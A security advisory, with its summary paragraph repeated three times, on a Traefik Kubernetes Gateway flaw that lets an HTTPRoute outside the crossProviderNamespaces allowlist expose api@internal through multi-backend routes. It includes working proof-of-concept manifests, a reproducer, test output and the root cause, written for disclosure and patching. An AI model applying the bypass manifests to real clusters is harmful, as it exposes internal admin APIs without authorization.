traefik · Vulnerability

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.21 and 3.7.5, there is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. This vulnerability is fixed in 3.6.21 and 3.7.5.

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.21 and 3.7.5, there is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. This vulnerability is fixed in 3.6.21 and 3.7.5.

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.21 and 3.7.5, there is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. This vulnerability is fixed in 3.6.21 and 3.7.5.

## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.21 - https://github.com/traefik/traefik/releases/tag/v3.7.5 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Summary The Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs. For `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference. Verified affected versions: - `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`) - current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`) # Expected Behavior With: ```yaml providers: kubernetesGateway: crossProviderNamespaces: - trusted ``` only Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`. An `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting: ```yaml backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted ``` # Actual Behavior For an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing: ```text [api@internal attacker-whoami-http-80] ``` even though `crossProviderNamespaces` only allows `trusted`. # Threat Model This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs. The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services. A Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`. # Required Attacker Capability Required: - create or modify an `HTTPRoute` in namespace `attacker`; - have that `HTTPRoute` accepted by a `Gateway`; - rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration. Not required: - modifying Traefik static configuration; - modifying the Traefik deployment or Traefik RBAC; - modifying resources in the Traefik deployment namespace; - modifying `providers.kubernetesGateway.crossProviderNamespaces`; - enabling `api.insecure`; - exposing the dashboard/API entrypoint directly. # Documentation Evidence The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`. The Kubernetes Gateway provider option is documented as: ```text List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService. ``` The migration notes also describe the security reason for the option: ```text those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose. ``` and the documented behavior is: ```text ["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references. ``` The provider struct uses the same route-namespace wording: ```go CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...` ``` The reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC. # PoC I validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint. The complete local reproducer I used is a self-contained `kind` PoC with these files: ```text external-repro-kind/kind-config.yaml external-repro-kind/traefik-v371.yaml external-repro-kind/gateway-exploit.yaml external-repro-kind/run-kind-repro.sh ``` Run command: ```bash ./external-repro-kind/run-kind-repro.sh ``` The script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit. Traefik was started with: ```text --api=true --api.dashboard=true --api.insecure=false --providers.kubernetesgateway=true --providers.kubernetesgateway.crossprovidernamespaces=trusted ``` The local host entrypoint was: ```text 127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint ``` The target namespace has a normal Gateway API `ReferenceGrant`: ```yaml apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: allow-attacker-to-traefikservice namespace: trusted spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: attacker to: - group: traefik.io kind: TraefikService ``` Positive control: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: single-backend-control namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - control.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1 ``` Bypass: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: mixed-backend-bypass namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - exploit.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1000000 - group: "" kind: Service name: whoami port: 80 weight: 1 ``` Observed external result: ```text control: single-backend route from attacker namespace should not expose api@internal control status: 404 404 page not found exploit: mixed backendRef route from attacker namespace exposes api@internal exploit returned Traefik API JSON api@internal status: enabled weighted members: api@internal 1000000 attacker-whoami-http-80 1 ``` The `HTTPRoute` status shows the boundary difference: ```text single-backend-control: Accepted=True ResolvedRefs=False Reason=RefNotPermitted Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces mixed-backend-bypass: Accepted=True ResolvedRefs=True ``` This is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane. ## Minimized Root Cause Test I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction. Files: - `probe/crossprovider_namespace_probe_test.go` - `probe/cross_provider_namespace_probe.yml` - `probe/cross_provider_namespace_single_control.yml` Reproduction: ```bash cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/ cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/ go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v ``` Observed output on both tested versions: ```text Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80] ``` The reproducer also includes a positive control: ```text === RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl --- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl ``` That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list. # Root Cause The single-internal-service path checks the route namespace: ```go case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef): if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) { ``` The mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`: ```go namespace := route.Namespace if backendRef.Namespace != nil && *backendRef.Namespace != "" { namespace = string(*backendRef.Namespace) } ... name, service, err := p.loadHTTPBackendRef(namespace, backendRef) ``` `loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace: ```go if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") { if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) { ``` This lets a disallowed route namespace choose an allow-listed target namespace and pass the check. # Impact An untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`. Potentially exposed internal services include: - `api@internal` - `dashboard@internal` - `rest@internal` This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`. I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint: ```text Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found ``` When a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated: ```text Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK service: api@internal ``` A WRR service containing `api@internal` also exposes the API: ```text Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK weighted services: api@internal 1000 echo-svc 1 ``` This is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls. # Suggested Fix For Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs. </details> ---

Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services in github.com/traefik/traefik